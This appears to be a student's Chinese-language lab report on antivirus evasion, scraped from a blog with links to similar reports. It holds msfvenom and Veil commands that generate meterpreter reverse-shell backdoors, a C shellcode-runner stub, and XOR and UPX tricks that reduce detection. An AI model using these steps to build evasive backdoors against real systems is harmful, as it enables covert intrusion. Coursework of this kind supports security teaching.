20155239吕宇轩《网络对抗》Exp3 免杀原理与实践
20155239吕宇轩《网络对抗》Exp3 免杀原理与实践
实验过程
Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.org/上进行扫描,有48%的杀软报告病毒。


如上图所示,39款杀毒软件中有20款报毒,可见实验二的后门不具有隐秘性,且国内的杀毒软件对此后门报毒率100%,可见国内的杀毒软件质量可靠。
接下来将对免杀后门做一定研究。
Veil-Evasion免杀平台
Veil-Evasion的安装
可使用以下命令完整安装Veil-Evasion。
echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" >> /etc/apt/sources.list
sudo apt-get update
sudo apt-get install veil-evasion
Veil-Evasion的使用
在终端输入 veil 进入Veil-Evasion。

接着输入use evasion

之后依次输入以下命令:
use python/meterpreter/rev_tcp.py //设置payload
set LHOST 192.168.253.128 //设置反弹连接IP(kali的IP地址)
set port 443 //设置反弹端口443,默认为4444
generate //生成
5239 //程序名

输入文件名后选择1

1选项之后跟了一个default,选择后发现只能生成python文件、.py文件,但无法生成exe可执行文件,原因应该是系统未安装合适的python运行环境,于是,我们换成C语言的代码。
之后改变了设置payload的命令,改为 use c/meterpreter/rev_tcp.py 。
而后继续输入后面的内容,生成相应的文件:

在相应的文件夹下找到exe文件,将其拷贝至windows,进行免杀测试:


测试结果比之前的好很多。
接下来进行回连尝试:

回连成功。
利用shellcode编程实现免杀
使用命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.220.130 LPORT=443 -f c生成C语言的shellcode。

将其手动复制到code::blocks中运行,生成exe可执行文件。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
unsigned char buf[] =
"此处省去若干行"
int main()
{
int (*func)()=(int(*)())buf;
func();
}
进行免杀测试:



进行回连尝试:

回连成功。
但使用第二种方法效果更好一些:
免杀进阶
压缩加壳
首先用UPX对生成的exe文件尝试压缩加壳
压缩后文件大小由28KB压缩成21KB,但是在免杀方面并没有什么显著效果,只比原来减少一个杀毒软件报毒。
修改shellcode
对shellcode进行异或,每一位数异或0x47,之后在数组调用前异或回来。
只有3个杀毒软件报毒,比起之前的检测结果有了好转。
对shellcode进行异或后再进行加压
结果比只进行异或多了一个杀毒软件报毒。
回连尝试
通过上述三种修改后的shellcode编译出的可执行均可回连成功。
基础问题回答
1、杀软是如何检测出恶意代码的?
恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
2、免杀是做什么?
对恶意软件做处理,让它不被杀毒软件所检测。
3、免杀的基本方法有哪些?
(1)加壳。
(2)对shellcode编码进行处理。
实践总结与体会


20155239吕宇轩《网络对抗》Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 20165205 网络攻防Exp3免杀原理与实践
2018-2019-2 20165205 网络攻防Exp3免杀原理与实践 一.实践内容 1.1正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用 ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
随机推荐
- Available to Promise (ATP) in SAP-SD
One short note before we start off the subject: Availability refers to the projections of future mat ...
- x64系统WSC注册方法
@echo off title 注册WSC脚本部件 echo. ***************************************** echo. 支持x64系统(请以管理员身份运行) e ...
- Sqoop安装与应用过程
1. 参考说明 参考文档: http://sqoop.apache.org/ http://sqoop.apache.org/docs/1.99.7/admin/Installation.html ...
- Oracle 参数文件及相关操作介绍
Oracle 参数文件及相关操作介绍 by:授客 QQ:1033553122 1.服务器参数文件 服务器参数文件是一个二进制文件,作为初始化参数的存储仓库.实例运行时,可用ALTER SYSTEM来改 ...
- 解决 web.xml is missing and <failOnMissingWebXml> is set to true 报错
在学习maven模块化构建项目的时候遇到了如下报错信息: web.xml is missing and <failOnMissingWebXml> is set to true. 这时候需 ...
- JAVA将list转化为xml文件
pojo类: public class TreeNode { private int id; private String nodeId; private String parentId; priva ...
- SVN switch 用法总结
一直知道SVN有个switch命令,但是对它的介绍教程却很少,大多是生硬的svn帮助文档里的文字,从而一直不怎么会用.今天看了这篇文章,突觉豁然开朗,整理下来以备查阅. 使用SVN,自然是需要与别人合 ...
- AWS CSAA -- 04 AWS Object Storage and CDN - S3 Glacier and CloudFront(二)
015 Version Control - Lab 016 Cross Region Replication 017 Lifecycle Management Glacier - Lab 018 C ...
- Oracle EBS OPM update material txn
--update_material_txn --created by jenrry DECLARE p_mmti_rec mtl_transactions_interface%ROWTYPE; p_m ...
- 实战分析: MySQL字符集
原创: 吴炳锡 MySQLBeginner 实战分析: MySQL字符集说明 在本文中讨论以下几个问题: 1. GBK和UTF8占用几个字节 2. ASCII码在不同字符集中占用几个字节 3. MyS ...